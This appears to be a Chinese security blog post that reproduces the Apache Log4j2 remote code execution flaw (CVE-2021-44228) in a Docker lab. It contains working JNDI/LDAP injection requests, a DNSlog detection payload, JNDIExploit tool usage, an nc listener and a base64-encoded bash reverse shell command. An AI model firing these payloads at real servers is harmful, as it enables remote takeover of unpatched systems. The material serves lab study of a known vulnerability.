CVE-2021-44228 Apache Log4j2 远程代码执行漏洞
要说2021年哪个漏洞最出名?莫过于Apache Log4j2。为什么出名?因为用的人多,漏洞本身危害也大。记得安全界的一位前辈说过,利用的人多了才叫漏洞,当年的身份信息泄漏那么严重,都不当回事儿。现如今,一点点小问题都可能上热搜。这篇文章是sukusec301本人在2021年12月19日对其做一次简单的研究探讨与复现,现在还在研究中。。。
2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。
2021年12月9日晚至10日,听闻百度还因此受到攻击。fofa网站当天进行了升级,并有了log4j2专题模块
0x00漏洞描述
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。
0x01漏洞原理
该漏洞的核心原理为,在正常的log处理过程中对 ${ 这两个紧邻的字符做了检测,一旦匹配到类似于表达式结构的字符串就会触发替换机制。
本次漏洞触发相当简单,只要使用了org/apache/logging/log4j/spi/AbstractLogger.java log进行记录,且log等级为可记录等级即可触发。
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://ip:1389/#Exploit}");
}
一旦在log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询。
因此只要能控制log参数内容,就有机会实现漏洞利用。因此也可以使用如下方式触发:
logger.error("8881273asdf${jndi:ldap://ip:1389/#Exploit}aksdjfhuip8efas");
0x02漏洞复现
环境搭建
1、在kali上搭建漏洞环境
docker pull vulfocus/log4j2-rce-2021-12-09
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
2、访问kali的38080端口下的hello
http://192.168.23.3:38080/hello
漏洞检测
POC:
POST /hello HTTP/1.1
Host: 192.168.23.3:38080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
payload=${jndi:ldap://p0d7ce.dnslog.cn/exp}
1、抓包
2、放入repeater,将GET改为POST。在请求正文添加一句话,将dnslog.cn
替换成在dnslog生成的域名。
payload=${jndi:ldap://dnslog.cn/exp}
3、send,然后一直刷新record,==出现此记录,说明存在==
0x03漏洞利用——bash反弹
EXP
POST /hello HTTP/1.1
Host: 192.168.23.3:38080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
payload=${jndi:ldap://192.168.23.3:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xOTIuMTY4LjIzLjMvNTU1NSAwPiYx}
工具
https://github.com/welk1n/JNDI-Injection-Exploit这款工具是1.0版本的,还没有测试。但是我这里有个1.2版本的,挺好用
复现步骤
1、使用这个工具,后面跟一个-i
参数,命令如下
java -jar java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.23.3 #-i后面跟靶机IP
2、nc监听
nc -lvvp 5555
3、POST数据包请求正文中输入下方payload,先别着急点击send
payload=${jndi:ldap://192.168.23.3:1389/TomcatBypass/Command/Base64/AAA}
4、将上图的AAA替换成bash反弹命令
bash -i >& /dev/tcp/192.168.23.3/5555 0>&1
5、重要的步骤,将bash反弹这串命令进行一次base64加密,再进行两次URL编码
- base64编码
- URL编码,重复两次
6、点击send
,回去看
原先的样子
点击send后,shell回弹
0x04总结
关于该漏洞的利用网上还有很多姿势,整体来讲漏洞利用简单,且漏洞危害巨大,配合一些其他服务及系统有可能产生更大的影响。
若想深入研究,找了一篇专门讲解原理的文章。
https://www.anquanke.com/post/id/262668
推荐阅读
-
CVE-2020-0674:Internet Explorer 远程代码执行漏洞通知
-
在 vulhub 中复制 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
-
Apache Log4j2 Jndi RCE CVE-2021-44228 漏洞模式解析
-
vulhub 中的 Apache Solr 远程命令执行漏洞复制 (CVE-2019-0193)
-
CVE-2023-3519:Citrix ADC/Gateway 远程代码执行漏洞通告
-
pgadmin4 远程代码执行漏洞复发 (CVE-2022-4223) - 漏洞分析
-
Apache Log4j2 漏洞 (CVE-2021-44228) 分析和复制
-
log4j2 远程命令执行漏洞利用态势摘要
-
Apache Log4j2 CVE-2021-44228 漏洞复制分析
-
关于 log4j2 远程代码执行漏洞的详细重现过程